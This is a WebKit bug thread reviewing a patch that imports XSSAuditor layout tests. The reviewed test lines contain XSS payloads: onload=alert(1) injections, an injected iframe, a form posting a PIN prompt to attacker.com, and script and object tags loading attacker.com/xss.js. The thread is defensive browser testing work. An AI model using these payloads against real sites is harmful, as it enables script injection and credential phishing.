Bug 54576 – Import XSSAuditor tests from David Ross

• Status: RESOLVED
• Resolution: FIXED
• Component: New Bugs

[Adam Barth]

Import XSSAuditor tests from David Ross

[Adam Barth]

Created attachment 82676 [details]
Patch

[Eric Seidel (no email)]

Comment on attachment 82676 [details]
Patch

The test output isn't very nice.  Should we put these in their own folder?  Otherwise looks OK.

[Daniel Bates]

Comment on attachment 82676 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review

> LayoutTests/http/tests/security/xssAuditor/form-action.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>">

It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>">

Ditto.

> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//">

Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//">

Ditto.

> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
> + 

Is this suppose to be empty?

> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
> +   

Is this suppose to be empty?

> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?>"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?>"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?"></iframe>
> +</body>

It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.

Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded.

[Daniel Bates]

Comment on attachment 82676 [details]
Patch

I didn't mean to clear the review flag. I'm still looking over the patch since the review tool prevented me from scrolling to the bottom of the patch given I enlarged the general comment text field (by clicking on it).

[Adam Barth]

> Should we put these in their own folder?

They're already in an XSSAuditor folder.  It's just from an email he sent me.  I don't think it need another folder.

[Adam Barth]

Comment on attachment 82676 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review

>> LayoutTests/http/tests/security/xssAuditor/form-action.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>">
> 
> It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

Done

>> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//">
> 
> Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
>> + 
> 
> Is this suppose to be empty?

Yes.  It will be non-empty once we pass the test.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
>> +   
> 
> Is this suppose to be empty?

Same.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
>> +</body>
> 
> It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.
> 
> Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded.

I've changed the URL as requested.  The ? is necessary.  David didn't escape it, so I'm inclined to leave it.

[Adam Barth]

Created attachment 82699 [details]
Patch

[Daniel Bates]

Comment on attachment 82699 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review

Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

> LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22">

Remark: You also use "alert(1)" here.

[Adam Barth]

> Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Ok.  My plan is to just fix them.

[Daniel Bates]

(In reply to comment #8)
> (From update of attachment 82699 [details])
> View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review
> 
> Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Also, open-script-src and open-iframe-src have empty expected result files as well.

I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:

"Blocked access to external URL http://attacker.com/"

Now, the expected results file iframe-injection-expected.txt is empty.

I expected the latter (which we have now). I am curious about that "Blocked access" message.

[Adam Barth]

> Also, open-script-src and open-iframe-src have empty expected result files as well.

Yep.  They need to be fixed.

> I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:
> 
> "Blocked access to external URL http://attacker.com/"
> 
> Now, the expected results file iframe-injection-expected.txt is empty.
>
> I expected the latter (which we have now). I am curious about that "Blocked access" message.

That was DRT telling us that we tried to load attacker.com.  It blocked it because we're not allowed to talk to external web sites during testing.

[Adam Barth]

(In reply to comment #8)
> (From update of attachment 82699 [details])
> View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review
> 
> > LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
> > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22">
> 
> Remark: You also use "alert(1)" here.

Oops.  I'll fix this in a followup.

[WebKit Commit Bot]

Comment on attachment 82699 [details]
Patch

Clearing flags on attachment: 82699

Committed r78776: <http://trac.webkit.org/changeset/78776>

[WebKit Commit Bot]

All reviewed patches have been landed.  Closing bug.

[Csaba Osztrogonác]

The new http/tests/security/xssAuditor/script-tag-with-fancy-unicode.html
test fails on Qt. I filed a new bug on it: https://bugs.webkit.org/show_bug.cgi?id=54630